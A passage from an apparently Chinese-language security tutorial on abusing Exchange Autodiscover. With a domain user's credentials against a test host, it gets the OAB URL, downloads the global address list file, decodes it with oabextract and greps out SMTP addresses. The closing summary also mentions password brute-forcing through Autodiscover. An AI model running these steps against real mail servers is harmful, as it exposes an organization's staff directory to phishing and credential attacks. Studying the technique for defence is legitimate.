python checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] DomainUser123! checkautodiscover

结果如下图:

Alt text

获得OABUrl为https://dc1.test.com/OAB/9e3fa457-ebf1-40e4-b265-21d09a62872b/

(2)访问OABUrl,从中找到Default Global Address对应的lzx文件名。

命令示例:

python checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] DomainUser123! checkoab

结果如下图:

Alt text

获得Default Global Address为4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx

(3)下载lxz文件

命令示例:

python checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] DomainUser123! downloadlzx

结果如下图:

Alt text

(4)对lxz文件进行解码

使用工具oabextract

下载后需要进行安装。

编译好可在Kali下直接使用的版本下载地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract

将lzx文件转换为oab文件的命令示例:

oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab

提取出GAL的命令示例:

strings gal.oab|grep SMTP

结果如图:

Alt text

0x05 小结

本文介绍了通过Autodiscover进行口令爆破、读取配置信息和访问Exchange邮件资源的方法,开源实现代码,分享利用思路。